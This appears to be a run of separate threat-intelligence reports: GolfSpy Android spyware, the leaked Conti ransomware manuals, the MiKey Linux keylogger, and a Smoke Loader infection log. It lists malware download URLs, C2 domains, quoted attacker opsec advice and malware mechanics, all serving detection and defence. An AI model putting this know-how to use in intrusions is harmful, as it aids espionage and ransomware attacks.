e1dfeee5bb82b27c5866da16063aa833 - 1aa0a4992168953a631a625ab181e236 - 11edce35dad85f3e188bfd13b718d19c - 79cf391a3ae2477cd804c68850dba80d - 6938b27cdbc5ac5e98fd2a34bde034a6 - 7e1bb73f514b6af7be16ab5bcb0efa5e **Domains** - dodothebest.esy.es - zalthome.esy.es - servcobranca.in - ibercob.com.br - rootcenter.com.br - royhols.com - autopecasecreta.com.br - investcerto.site - bancobrasil.mobi - citiapp.mobi - ltau.mobi - moduloempresa.com - noisquevoa.mobi - pagseguro.mobi - aplicativo-sms.com
# Mobile Campaign ‘Bouncing Golf’ Affects Middle East We uncovered a cyberespionage campaign targeting Middle Eastern countries. We named this campaign “Bouncing Golf” based on the malware’s code in the package named “golf.” The malware involved, which Trend Micro detects as AndroidOS_GolfSpy.HRX, is notable for its wide range of cyberespionage capabilities. Malicious codes are embedded in apps that the operators repackaged from legitimate applications. Monitoring the command and control (C&C) servers used by Bouncing Golf, we’ve so far observed more than 660 Android devices infected with GolfSpy. Much of the information being stolen appears to be military-related. The campaign’s attack vector is also interesting. These repackaged, malware-laden apps are neither on Google Play nor popular third-party app marketplaces, and we only saw the website hosting the malicious apps being promoted on social media when we followed GolfSpy’s trail. We were also able to analyze some GolfSpy samples sourced from the Trend Micro mobile app reputation service. Also of note is Bouncing Golf’s possible connection to a previously reported mobile cyberespionage campaign that researchers named Domestic Kitten. The strings of code, for one, are similarly structured. The data targeted for theft also have similar formats. ## GolfSpy's Potential Impact Given GolfSpy’s information-stealing capabilities, this malware can effectively hijack an infected Android device. Here is a list of information that GolfSpy steals: - Device accounts - List of applications installed in the device - Device’s current running processes - Battery status - Bookmarks/Histories of the device’s default browser - Call logs and records - Clipboard contents - Contacts, including those in VCard format - Mobile operator information - Files stored on SD card - Device location - List of image, audio, and video files stored on the device - Storage and memory information - Connection information - Sensor information - SMS messages - Pictures GolfSpy also has a function that lets it connect to a remote server to fetch and perform commands, including: searching for, listing, deleting, and renaming files as well as downloading a file into and retrieving a file from the device; taking screenshots; installing other application packages (APK); recording audio and video; and updating the malware. ## Technical Analysis The repackaged applications are embedded with malicious code, which can be found in the com.golf package. These repackaged apps pose as communication, news, lifestyle, book, and reference apps popularly used in the Middle East. The GolfSpy malware embedded in the apps is hardcoded with an internal name used by the attacker. As shown in the figures, GolfSpy’s configurations (e.g., C&C server, secret keys) are encoded by a customized algorithm. After it is launched, GolfSpy will generate a unique ID for the affected device and then collect its data such as SMS, contact list, location, and accounts in a specific format. The information is written into a file on the device. The attacker can choose the data types to collect, which are written in a certain format. The value of % is in the range of 1-9 or a-j. Each value represents a different type of data to steal from the device: | Value | Data Type | |-------|------------------------------------| | 1 | Accounts | | 2 | Installed APP list | | 3 | Running processes list | | 4 | Battery status | | 5 | Browser bookmarks and histories | | 6 | Call logs | | 7 | Clipboard | | 8 | Contacts | | 9 | Mobile operator information | | a | File list on SD card | | b | Location | | c | Image list | | d | Audio list | | e | Video list | | f | Storage and memory information | | g | Connection information | | h | Sensors information | | i | SMS messages | | j | VCard format contacts | Apart from collecting the above data, the spyware monitors users’ phone calls, records them, and saves the recorded file on the device. GolfSpy encrypts all the stolen data using a simple XOR operation with a pre-configured key before sending it to the C&C server using the HTTP POST method. The malware retrieves commands from the C&C server via HTTP, and attackers can steal specific files on the infected device. The command is a constructed string split into three parts using "<DEL>" as a separator. The first part is the target directory, the second is a regular expression used to match specific files, while the last part is an ID. Apart from the HTTP POST method, GolfSpy also creates a socket connection to the remote C&C server in order to receive and perform additional commands. Stolen data will also be encrypted and sent to the C&C server via the socket connection. The encryption key is different from the one used for sending stolen data via HTTP. ## Correlating Bouncing Golf's Activities We monitored Bouncing Golf’s C&C-related activities and saw that the campaign has affected more than 660 devices as of this writing. The small or limited number is understandable given the nature of this campaign, but we also expect it to increase or even diversify in terms of distribution. Most of the affected devices were located in the Middle East, and many of the stolen data we saw is military-related (e.g., images, documents). Bouncing Golf’s operators also try to cover their tracks. The registrant contact details of the C&C domains used in the campaign, for instance, were masked. The C&C server IP addresses used also appear to be disparate, as they were located in many European countries like Russia, France, Holland, and Germany. It’s not a definite correlation, but Bouncing Golf also seems to have a connection with Domestic Kitten due to similarities we found in their code. For example, the Android malware that both deploy share the same strings of code for their decoding algorithm. The data that Domestic Kitten steals follows a similar format with Bouncing Golf’s, with each type of data having a unique identifying character. It’s also worth noting that both campaigns repackage apps that are commonly used in their target’s countries, such as Telegram, Kik, and Plus messaging apps. As we’ve seen in last year’s mobile threat landscape, we expect more cyberespionage campaigns targeting the mobile platform given its ubiquity, employing tried-and-tested techniques to lure unwitting users. The extent of information that these kinds of threats can steal is also significant, as it lets attackers virtually take over a compromised device. Users should adopt best practices, while organizations should ensure that they balance the need for mobility and the importance of security. End users and enterprises can also benefit from multilayered mobile security solutions such as Trend Micro™ Mobile Security™. Trend Micro™ Mobile Security for Enterprise provides device, compliance and application management, data protection, and configuration provisioning, as well as protects devices from attacks that exploit vulnerabilities, preventing unauthorized access to apps, and detecting and blocking malware and fraudulent websites. Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies, protecting devices against malware, zero-day and known exploits, privacy leaks, and application vulnerabilities.
# An Insider Insights into Conti Operations – Part One This is the first of two blog posts, where we focus on the Conti ransomware group whose training material was recently leaked on a cybercrime forum. To provide some context to this analysis, we describe Conti’s evolution and success since its origin. We then contextualize the leaks thanks to our observations on underground forums and analyze it in terms of threat intelligence. The second blog post will give some details on the techniques used by Conti operators and how to detect them. ## The Origin of Conti Ransomware Conti and Ryuk were developed and operated by a group dubbed Wizard Spider by CrowdStrike (aka UNC1878, Grim Spider, Conti gang) and some affiliates. Wizard Spider started its activity in 2016 by conducting financial fraud campaigns using the TrickBot banking trojan. The link between Conti and Wizard Spider was confirmed by Clearsky, following a bitcoin transaction after a successful ransomware attack. In August 2018, the actor previously using TrickBot started to use a new ransomware called Ryuk to target large organizations, asking for high ransom amounts. Wizard Spider seemed to follow the Big Game Hunting (BGH) trend started by BitPaymer’s gang one year earlier. Ryuk’s activity made the project famous in the ransomware business. According to Coveware, in Q1 2020, the average ransomware payment on behalf of the group was over $1.3 million. During this period, we can note the attacks against major US companies such as Electronic Warfare Associates (EWA), a US Government contractor. The group has constantly evolved its arsenal, reacting to attempts to block them. In 2020, they developed BazarLoader, which has a high level of obfuscation. They also regularly added known vulnerabilities such as Eternal Blue, Zerologon, and more recently, PrintNightmare to their arsenal. Their loaders were often delivered through phishing email or credentials previously obtained from Emotet or IcedID activity. The affiliates probably used accesses sold by initial access brokers. Conti appears in February 2020 as a Ryuk successor using the new data blackmailing technique (aka double extortion technique). They created a website to publish stolen data in case of non-payment of the ransom and to have a good-looking chat interface to communicate with victims and others. According to ransom notes SEKOIA studied, Ryuk operators used to communicate with victims through secure email services such as Protonmail or Tutanota. Threatening to leak sensitive files is great to increase the pressure on companies and therefore increase the probability that the ransom will be paid and to increase its amount. Note that Wizard Spider seems to consider the file decryptor and the deletion of the stolen files as two different services. The double extortion technique used by Conti has apparently paid off: the group claims more than 150 successful attacks and $20M of paid revenue by the end of 2020. Based on our observations, Conti is the most prolific group since January 2021, with more than 300 publicly disclosed ransomware attacks this year. This success is partly due to the efficiency of the group’s tools. Indeed, in 2020, the Conti ransomware was one of the fastest to encrypt a computer by running 32 concurrent threads, using AES-256 keys bundled with a RSA-4096 public key. The encryption and data exfiltration speed has since been a marketing argument in the ransomware community and was greatly improved by other groups. One of the Conti ransomware specificities is that it can be used in command line to encrypt the local hard drive or network shares. Another specificity that indicates a continuity between the activities of Ryuk and Conti is Ryuk’s habit of demanding ransom payments proportional to the revenues of the targeted company that has continued with the Conti ransomware. Once their affiliates compromise a target, they send the operators a report containing information about the victim (name, website address, number of servers and endpoint locked, amount of stolen data, and target’s revenue) to help during the ransom negotiation. Conti’s negotiators are experienced and patient. They use the anchor technique by setting a very high first price and negotiating it. They use a service-oriented rhetoric, calling the victim “customer” and themselves “support”. Unlike other ransomware gangs, Conti did not hold back from attacking hospitals during the COVID-19 crisis. ## An Internal Discord at the Origin of the Conti’s Training Material Leaks On August 5, 2021, a XSS cybercrime forum member known as “m1Geelka” leaked a Conti ransomware group’s training material. The “manual” includes some insights on the modus operandi of one of the most successful ransomware cartels at the moment. From our observations of the discussions between different actors, “m1Geelka” is believed to be one of the Windows Administrators of the group. After allegedly working for Conti (or as he states, “I got in there to find out how they work”), “m1Geelka” judged the remuneration formula to be unfair and decided to do justice to the group’s “partners”. In fact, the cybercriminal community has repeatedly voiced that Conti’s alleged remuneration was inadequate, given the qualifications they are looking for. Starting from $1,500 and from $2,000 for technical profiles, wages are, however, constantly being adjusted upwards, and accompanied by regular bonuses, all paid in BTC – the group states. Even so, “m1Geelka” was promptly expelled from the Russian-speaking underground community. He has broken one unwritten rule that dictates the law in this medium: conflicts have to be solved through private arbitration processes. This has also driven us to pay close attention to the most recent activity of a Conti representative on a forum where he was particularly active from June to August 2021. “IT_Work” is the online persona of a suspected threat actor who handled the group’s expansion this summer. As commercial activities related to ransomware are now prohibited on this platform, no advertisements for the used software, nor any specifications about the targeted countries or industries were seen. Instead, we observed a massive recruitment campaign on the XSS cybercriminal forum which is highly popular among ransomware operators seeking to create new partnerships. “We are a small recruitment team” – “IT_Works” states. He announced “lots of vacancies” in June 2021, so candidates were encouraged to apply for job openings or to make spontaneous applications. “No formalization under the Labor Code” is stipulated, as to comfort some and prevent others. There were over a dozen job openings on behalf of Conti spotted in less than two months, revealing a highly specialized and organized group structure. As commonly observed among ransomware groups originating from Russia or countries within the Commonwealth of Independent States (CIS), the communication is performed in Russian and the job listings are addressed to “Russian speakers only!” An example of a job listing posted by a Conti representative on June 11 on a Russian-speaking cybercriminal forum. Translated from Russian, the post reads: “Vacancy for the position of Business Analysts. Required Skills: Business English (reading) required, conversational is a big plus; Knowledge of business particularities in the U.S.; Analytical skills, attention to detail; Advanced PC user. Responsibilities: Analysis of B2B markets; Analysis of companies’ financial statements, and other public data obtained from government institutions; Drawing up cases on key players on the financial and industrial markets [...]” A close look at these messages allows us to draw up a rough picture of the Conti’s internal structure, which can be imaged as follows: This is slightly out of the ordinary job offers that other ransomware groups publish (most often for pentester positions). Of particular curiosity is the position of Asterisk Administrator. Based on a July 2021 announcement by Conti, a dedicated Asterisk VoIP service was in development, probably to initiate phone conversations with the victims or the victim’s partners or employees, in order to put more pressure on them. Threat actors are particularly interested in the “Auto Redial” feature of the Asterisk framework to put the phone number on automatic dial repeatedly, until the called party picks up the phone. The group is also looking for Web Designers with “really creative ideas“ and UI/UX Designers “to design layouts of websites and individual user interfaces of web applications”. To study potential victim’s activity or to analyze the already attacked ones, Business Analysts are wanted. They must be proficient in English and know the business particularities in the U.S, have good analytical skills and “pay attention to detail”. Business Analysts working for Conti prospect the B2B market, collect and analyze companies’ financial statements and other public data obtained from government institutions, and they are also drawing up cases on key players on the financial and industrial markets, according to “IT_Works”. What is also quite unique is the well-structured corporate approach Conti adopted: their “partners” have paid vacations and sick leaves. They usually have a 3pm-1am, Monday to Friday work schedule, remote only. ## What Do the Conti Leaks Tell Us? Following the first leak release, we decided to analyze its content and tried to assess how useful it could be in terms of threat intelligence and detection. The archive, retrieved by vx-underground, contains a majority of text files written in Russian, a few archives, binaries, scripts, and software (e.g. Cobalt Strike 4.3, Router Scan), and what looks like an unstructured manual explaining to Conti affiliates how to operate. A public quick English translation has been made available to organize the leak with three main attack steps: Increasing privileges and information collection, Uploading data and Lock. For each step, each manual provides one or more tools/techniques to reach the objective with a kind of best practices approach and a collection of the best tools to use. There is no new tool or technique to discover, everything is quite old and renowned (e.g. Mimikatz) and should already be detected. Although they are up-to-date with the latest vulnerability and have a manual for “PrintNightmare” (CVE-2021-34527, that is still not fixed by a proper patch from Microsoft). Obviously they also try to use Microsoft built-in tools as much as possible to blend in with legitimate activities in order to avoid detection (e.g. PowerShell, WMI). Some recommendations are made in terms of operational security in the manual files translated as “Anonymity for the paranoid” and “Personal safety” (not available in the public English translation): 1. The task is not to hide (it still won’t work), but to merge with the crowd. So by disabling WebRTC, Javascript, Flash, etc. just attract more attention to yourself. You should NOT DISCONNECT, but CHANGE what allows you to be detected. 2. Concerning Kali and other operating systems for hackers. There is a group of people (Hackers) that needs to be tracked. Technically, this problem is difficult to solve. It’s easier to play on human weakness (laziness) and gather everyone together by providing a properly advertised, convenient, ready-made and popular solution. I think the idea is clear. I advise you to use Debian or build something of your own. I think everyone here works through a virtual machine. Therefore, I advise you to install the virtual machine on the encrypted volume using VeraCrypt. 1. Download VeraCrypt. 2. You will need to allocate space on your disk for a file / or encrypt the entire disk at once. An important rule is that you will have to install the virtual machine again, because, unfortunately, when you encrypt your old working virtual machine, an insurmountable error will appear in the code and it will no longer start. This is not a big problem, because you can get all your files from the image of your old virtual machine via 7ZIP. Because they are hunting for administrator accounts, they are also cautious about their reaction. In the following extract from the “Hunting admins, please read, very useful !!” manual, a very explicit warning is made to dissuade an attacker to directly login to a computer session of an administrator: Next is an IMPORTANT POINT. First of all, beginners try to raise a session there and VERY OFTEN catch an alert. Alert at the admin = cutting out of the network, loss of time, nerves. Do not do this! What we’re going to do is poll it through the file system. But at the same time they could go for a live brute force of accounts when required, and as noticed by other researchers, use the same example directory (i.e. “ProgramData”) for all their command outputs which probably leads to a lot of copy/paste. Their discovery, collection and exfiltration methods match a lot with other ransomware groups and most of the time the techniques described aim for efficiency more than stealthiness. Overall the archive reveals an interesting insider look into some ransomware attack operations where the attackers look for the weakest points of defense. It also confirms that most of the techniques from these groups are known and give lots of detection opportunities. This should again remind us as defenders where to focus on. The second leak was not as useful: these are 27GBs of mainly tutorial video files from several sources (free or paying ones), teaching about penetration testing (e.g. Metasploit, Cobalt Strike, network) and reverse engineering. Some sources are in English while others are in Russian but none seem specific to Conti. Indeed, the content of this leak confirms that Conti recruiters are also looking for beginners who will then be trained by following these tutorials, as indicated on a cybercriminal forum: Translated from Russian, the post reads: “Recruitment of pentesters continues. […] Whether you’re a professional or a beginner, it doesn’t matter. We have an individual approach to everyone. We will teach and help, we need guys who want to progress in a long-term cooperation!” ## Conclusion Conti leaks are a great source of knowledge to find out more about how ransomware cartels operate overall. It gives good insights into how they handle their operations, how they are organized and the techniques being used in these operations. This will likely raise the interest of other threat actors who might enter the ransomware scene by embracing a modus operandi that, up until now at least, has worked very well. In the second part of this blog series, we will cover some techniques used by Conti in the first leak and the detection opportunities for each one.
# MiKey - A Linux Keylogger Linux malware is slowly becoming more popular. Within the past couple of years, there were several major incidents that cited the use of Windows backdoors being ported to Linux. Through our research on the Windows KLRD keylogger from the Odinaff report, we were able to discover several new keyloggers. The focus of this blog post is MiKey, a little-known and poorly detected keylogger. At the time of this writing, the malware wasn’t detected by a single engine on Virustotal. ## Analysis The malware is a 64-bit Linux executable: ``` 9c07ed03f5bf56495e1d365552f5c9e74bb586ec45dffced2a8368490da4c829: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=550c58e6a9bc88b8724fd8ab7fd79a6c58c12d28, not stripped ``` And depends on the following libraries: - linux-vdso.so.1 (0x00007ffd25123000) - libX11.so.6 => /usr/lib/x86_64-linux-gnu/libX11.so.6 (0x00007f7f56420000) - libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f7f5621c000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f55e7e000) - libxcb.so.1 => /usr/lib/x86_64-linux-gnu/libxcb.so.1 (0x00007f7f55c56000) - /lib64/ld-linux-x86-64.so.2 (0x00005597839c6000) - libXau.so.6 => /usr/lib/x86_64-linux-gnu/libXau.so.6 (0x00007f7f55a52000) - libXdmcp.so.6 => /usr/lib/x86_64-linux-gnu/libXdmcp.so.6 (0x00007f7f5584a000) Analyzing the symbol table for this binary yielded some interesting function names: ``` 63: 00000000004014b2 79 FUNC GLOBAL DEFAULT 14 createProccess 64: 0000000000400ed6 128 FUNC GLOBAL DEFAULT 14 initPlugins 67: 0000000000400f56 105 FUNC GLOBAL DEFAULT 14 moduleFeed 68: 000000000040102d 1157 FUNC GLOBAL DEFAULT 14 keylogger 75: 0000000000400dc6 159 FUNC GLOBAL DEFAULT 14 handleArgs 83: 0000000000400e65 113 FUNC GLOBAL DEFAULT 14 moduleHandleArgs 85: 00000000004015fc 209 FUNC GLOBAL DEFAULT 14 addData 87: 0000000000400cd0 42 FUNC GLOBAL DEFAULT 14 _start 88: 0000000000400fbf 110 FUNC GLOBAL DEFAULT 14 addParentheses 92: 0000000000401501 126 FUNC GLOBAL DEFAULT 14 main 103: 0000000000400b00 0 FUNC GLOBAL DEFAULT 11 _init ``` Comments left by the compiler provide evidence it was compiled on Ubuntu 16.04.2: ``` 9c07ed03f5bf56495e1d365552f5c9e74bb586ec45dffced2a8368490da4c829: file format elf64-x86-64 Contents of section .comment: 0000 4743433a 20285562 756e7475 20352e34 GCC: (Ubuntu 5.4 0010 2e302d36 7562756e 7475317e 31362e30 .0-6ubuntu1~16.0 0020 342e3229 20352e34 2e302032 30313630 4.2) 5.4.0 20160 0030 36303900 609. ``` This is further evidenced by the build path in the binary: ``` /home/ubuntu/MiKey-64-ubuntu ``` The `strace` tool was used to quickly identify high-level function workflows and identify potential focus areas. One anomaly identified was a failed file opening, “mikey-text.so.” ``` open("./tls/x86_64/mikey-text.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) open("./tls/mikey-text.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) open("./x86_64/mikey-text.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) open("./mikey-text.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) ``` The malware isn’t explicitly searching these directories for mikey-text.so. This is a side effect of `dlopen`. From the man page: > “If, at the time that the program was started, the environment variable LD_LIBRARY_PATH was defined to contain a colon-separated list of directories, then these are searched. (As a security measure this variable is ignored for set-user-ID and set-group-ID programs.)” After a little searching, we located a second binary (SHA-256 `bc6d25dff00dfb68b19b362c409d2cf497e5dd97d9d6e5ce2bde2ba706f2bdb3`) which contained the string “mikey-text.c.” From this, we assessed that mikey-text.so is the compiled version of this binary. Using this assertion, we renamed the second binary to mikey-text.so and placed it in the load path identified using `strace`. This caused the successful execution of the malware. The output file (out.log) contained the logged keystrokes with associated timestamps. Through static analysis, we were able to identify that when the keylogger starts up, it loaded plugins, handled arguments, and then forked its process. When loading the plugins, the keylogger looked for a single hardcoded plugin name “mikey-text.so” and called `dlopen` to obtain a handle to it. Once everything was loaded, the main functionality of the program was handled through the “keylogger” function. To better understand Linux keyloggers and associated function calls, basic X function knowledge is critical. As a quick primer, here are some routines used by the “keylogger” function to query information about keystrokes or simply harvest raw keystroke data. | Function | Purpose | |------------------------------|-------------------------------------------------------------------------| | XOpenDisplay | Returns a display structure that serves as the connection to the X server. Communication is then carried out through TCP or IPC. | | XQueryKeymap | Uses the structure from the display to gather information about the state of the keyboard. Information about which keys are currently pressed can be gathered using this call. | | XkbKeycodeToKeysym | Uses the structure from the display to return the keysym for a particular key. | | XKeysymToString | Converts the previously obtained keysym. | | XGetInputFocus | Controls focus on the desktop. | Once the keycode is retrieved, it’s compared against a large switch table to convert each keycode into a string. This is no different than most keyloggers. Non-printable keystrokes are then identified and substituted with human-readable outputs. If there is a non-printable character returned, a small method to format the string in parentheses is called to make for nice output into the log. Once completed, the data is stored into a buffer and passed to a loadable module. The Linux `dlsym` method provides similar functionality as “LoadLibrary” on Windows. The previous handle from `dlopen` is being passed to `dlsym`, which we can now use to call the method “getFeed” from mikey-text.so. Peering into the “getFeed” function on mikey-text.so, it simply calls the `_log` function. The `_log` function will call `_time` and `_localtime` (to harvest the timestamps) and build these into a format string. At this point, the output file is opened for writing with the appended (“a+”) flag and the file is written to using the `_fputs` method. If no option for `--output` was provided to mikey-text.so, then the default name of “out.log” is provided. Outside of a small method to parse arguments, there isn’t much more functionality to mikey-text.so. It’s a simple logging plugin for the main MiKey keylogger. Booz Allen assesses that additional plugins may exist (for C2 communication, or to hook to other files), but is unable to confirm at this time. To run the keylogger and give a custom argument for an output file named keylogged.txt, the following command can be used. In addition, providing the “-b” option will “background” the process. Checking processes on the host, the command “ps aux” was issued. ## Conclusion Small utilities that are built for a specific purpose often bypass AV with ease. Attackers are able to write a functional keylogger that will dump the contents to a local file. By having modular code, the authors could build plugins that achieve whatever task they need. The plugin nature of this code also puts the reverse engineer at a disadvantage. Without access to each module, only specific known functions of the tool can be documented. One unnerving aspect of this keylogger is that, without an active command and control capability, the attacker would need to be confident in their ability to repeatedly gain remote access to the victim computer to retrieve the keylogged information. All it takes to catch this is basic process and file monitoring, but if our Linux field experience is any indicator, there aren’t many shops with this level of visibility on non-Windows workstations.
# ADVENTURES WITH SMOKE LOADER ## ASSOCIATED FILES: - Zip archive of the pcaps: 2017-11-02-Smoke-Loader-and-Neutrino-pcaps.zip (5.1 MB, 5,129,196 bytes) - Zip archive of the pcaps: 2017-11-02-Smoke-Loader-and-Neutrino-and-Lethic-malware.zip (1.1 MB, 1,088,202 bytes) ## INFECTION SUMMARY 89.38.98.150/sZioajajaj.exe (Smoke Loader) → Neutrino malware → Lethic spambot infection ## DETAILS ### NOTES: - Saw a malicious HTTP request to 89.38.98.150 led to Sharik/Smoke Loader. - When I tested it in my lab, it retrieved Neutrino malware, which then retrieved Lethic spambot malware. - About an hour after I tried this, 89.38.98.150/sZioajajaj.exe returned a different file hash that was still Sharik/Smoke Loader. ### DOMAINS OR URLS TO BLOCK: - hxxp://89.38.98.150/sZioajajaj.exe - hxxp://89.38.98.150/85cZioajajaj.exe - hxxp://89.38.98.150/17Zioajajaj.exe - hxxp://89.38.98.150/74Zioajajaj.exe - hxxp://89.38.98.150/121Zioajajaj.exe - hxxp://89.38.98.150/123Zioajajaj.exe - hxxp://89.38.98.150/226Zioajajaj.exe - hxxp://89.38.98.150/38Zioajajaj.exe - hxxp://89.38.98.150/161Zioajajaj.exe - eeaglelifedd.com - n31.smokemenowhhalala.bit ### INITIAL MALWARE - SHARIK/SMOKE LOADER: - **SHA256 hash:** 6401c4de903ec06a5493adf7a9dd45e123c9ce3033b44e1083e10bc5709c3964 - **File size:** 122,880 bytes - **Online location:** 89.38.98.150/sZioajajaj.exe - **On infected host at:** C:\Users\[username]\AppData\Roaming\Microsoft\ujwbersj\gresctab.exe - **Associated Windows registry updated:** HKCU\Software\Microsoft\Windows\CurrentVersion\Run ### SHARIK/SMOKE LOADER TRAFFIC: - Start date/time: 2017-11-02 at 17:20 UTC - 89.38.98.150 port 80 - GET /sZioajajaj.exe - www.bing.com - GET / - java.com - POST /help - java.com - GET /en/download/help/index.html - java.com - GET /en/download/help/ - support.microsoft.com - POST /kb/2460049 - www.adobe.com - POST / - www.adobe.com - POST /go/flashplayer_support/ - www.adobe.com - POST /support/flashplayer - www.adobe.com - POST /support/main.html - helpx.adobe.com - GET /flash-player.html - helpx.adobe.com - GET /support.html - go.microsoft.com - POST /fwlink/?LinkId=133405 - go.microsoft.com - POST /fwlink/?LinkId=164164 - msdn.microsoft.com - GET /vstudio - www.microsoft.com - GET / - 45.77.141.25 port 80 - eeaglelifedd.com - POST /hosting20/ ### ASSOCIATED EMERGING THREATS (ET) AND ETPRO ALERTS: - ET TROJAN Sharik/Smoke Loader Microsoft Connectivity Check - ET TROJAN Sharik/Smoke Loader Adobe Connectivity Check - ET TROJAN Sharik/Smoke Loader Adobe Connectivity Check 2 - ET TROJAN Sharik/Smoke Loader Adobe Connectivity Check 3 - ETPRO TROJAN Smoke/Sharik HTTP 404 Containing EXE ### FOLLOW-UP MALWARE - NEUTRINO: - **SHA256 hash:** 517e92c585449b75d6b8a5e5f00323fb5f3b125972cd1442b1251ca7087107fc - **File size:** 255,488 bytes - **File returned from HTTP POST to:** eeaglelifedd.com/hosting20/ - **On infected host at:** C:\Users\[username]\AppData\Roaming\Xl5jVVxcVWIx\jevgr.exe ### NEUTRINO INFECTION TRAFFIC: - DNS queries for ns.dotbit.me - resolved to 107.161.16.236 - 107.161.16.236 port 53 - DNS queries (UDP) for n31.smokemenowhhalala.bit - 118.193.174.133 port 80 - n31.smokemenowhhalala.bit - POST /newfiz31/logout.php - 89.38.98.150 port 80 - GET /85cZioajajaj.exe - 89.38.98.150 port 80 - GET /17Zioajajaj.exe - 89.38.98.150 port 80 - GET /74Zioajajaj.exe - 89.38.98.150 port 80 - GET /121Zioajajaj.exe - 89.38.98.150 port 80 - GET /123Zioajajaj.exe - 89.38.98.150 port 80 - GET /226Zioajajaj.exe - 89.38.98.150 port 80 - GET /38Zioajajaj.exe - 89.38.98.150 port 80 - GET /161Zioajajaj.exe ### ASSOCIATED EMERGING THREATS (ET) AND ETPRO ALERTS: - ETPRO TROJAN Win32/Neutrino checkin 4 (118.193.174.133 port 80) ### FOLLOW-UP MALWARE FROM NEUTRINO INFECTION - ALL LETHIC SPAMBOT MALWARE BINARIES: - **SHA256 hash:** e324c63717a4c2011fde7d1af0d8dbe8ddb0897fe4e7f80f3147a7498e2166fe - **File size:** 185,344 bytes - **Location:** 89.38.98.150/161Zioajajaj.exe - **On infected host at:** C:\RECYCLER\S-1-5-21-0243556031-888888379-781862338-196818750\backwindow32.exe - **Associated Windows registry updated:** HKCU\Software\Microsoft\Windows\CurrentVersion\Run - **SHA256 hash:** f55be01c217b2ec9be0aa45a007661adb1365a9651e306329679a6ba2d5b119d - **File size:** 192,512 bytes - **Location:** 89.38.98.150/85cZioajajaj.exe - **On infected host at:** C:\RECYCLER\S-1-5-21-0243556031-888888379-781862338-196818750\backwindow132.exe - **Associated Windows registry updated:** HKCU\Software\Microsoft\Windows\CurrentVersion\Run - **SHA256 hash:** 701a2461d31b1a717fc9dad4fd61458c3484836bb89b4c72c0841ce9b3948d52 - **File size:** 186,880 bytes - **Location:** 89.38.98.150/17Zioajajaj.exe - **On infected host at:** C:\RECYCLER\S-1-5-21-0243556031-888888379-781862338-196818750\backwindow232.exe - **Associated Windows registry updated:** HKCU\Software\Microsoft\Windows\CurrentVersion\Run - **SHA256 hash:** eacbc0588d0e8fc22daf80479598cfb49a6bdc7155efd2bd3c24740a22716d17 - **File size:** 191,488 bytes - **Location:** 89.38.98.150/74Zioajajaj.exe - **On infected host at:** C:\RECYCLER\S-1-5-21-0243556031-888888379-781862338-1968138750\backwindow332.exe - **Associated Windows registry updated:** HKCU\Software\Microsoft\Windows\CurrentVersion\Run - **SHA256 hash:** 8b57e7424e305a87cb55ff69c1454855341e5b138cec648b3b3a96df53d1076a - **File size:** 186,368 bytes - **Location:** 89.38.98.150/121Zioajajaj.exe - **On infected host at:** C:\RECYCLER\S-1-5-21-0243556031-888888379-781862338-1968138750\backwindow432.exe - **Associated Windows registry updated:** HKCU\Software\Microsoft\Windows\CurrentVersion\Run - **SHA256 hash:** f3eadfd04bdf3615afb5f4b9b3b7386579846a834a389585cbbee6a3c7640ca3 - **File size:** 188,928 bytes - **Location:** 89.38.98.150/123Zioajajaj.exe - **On infected host at:** C:\RECYCLER\S-1-5-21-0243556031-888888379-781862338-1968138750\backwindow532.exe - **Associated Windows registry updated:** HKCU\Software\Microsoft\Windows\CurrentVersion\Run - **SHA256 hash:** 2de7e6763fd895757e4504e72389a8aee9f2f63f651d02efc22b1865bbd4f1b0 - **File size:** 193,024 bytes - **Location:** 89.38.98.150/226Zioajajaj.exe - **On infected host at:** C:\RECYCLER\S-1-5-21-0243556031-888888379-781862338-1968138750\backwindow632.exe - **Associated Windows registry updated:** HKCU\Software\Microsoft\Windows\CurrentVersion\Run - **SHA256 hash:** b7137c65b7c8884329c252d14fe32d4ffa96fd1a9886f895b39b1d3419c01895 - **File size:** 187,392 bytes - **Location:** 89.38.98.150/38Zioajajaj.exe - **On infected host at:** C:\RECYCLER\S-1-5-21-0243556031-888888379-781862338-1968152800\systimwindow32.exe - **Associated Windows registry updated:** HKCU\Software\Microsoft\Windows\CurrentVersion\Run ### LETHIC SPAMBOT INFECTION TRAFFIC: - Various IP addresses over TCP port 25 - attempted SMTP traffic - Various IP addresses over TCP port 25, 5500, 6600, and 7700 - SMTP and similar spambot traffic - Possibly other IP addresses over similar ports that didn't establish a full TCP connection ### ASSOCIATED EMERGING THREATS (ET) AND ETPRO ALERTS: - ET TROJAN Lethic Spambot CnC Initial Connect Bot Response - ET TROJAN Lethic Spambot CnC Bot Command Confirmation - ET TROJAN Lethic Spambot CnC Bot Transaction Relay - ET TROJAN Lethic Client Alive ### FINAL NOTES Once again, here are the associated files: - Zip archive of the pcaps: 2017-11-02-Smoke-Loader-and-Neutrino-pcaps.zip (5.1 MB, 5,129,196 bytes) - Zip archive of the pcaps: 2017-11-02-Smoke-Loader-and-Neutrino-and-Lethic-malware.zip (1.1 MB, 1,088,202 bytes) Zip archives are password-protected with the standard password. If you don't know it, look at the "about" page of this website.
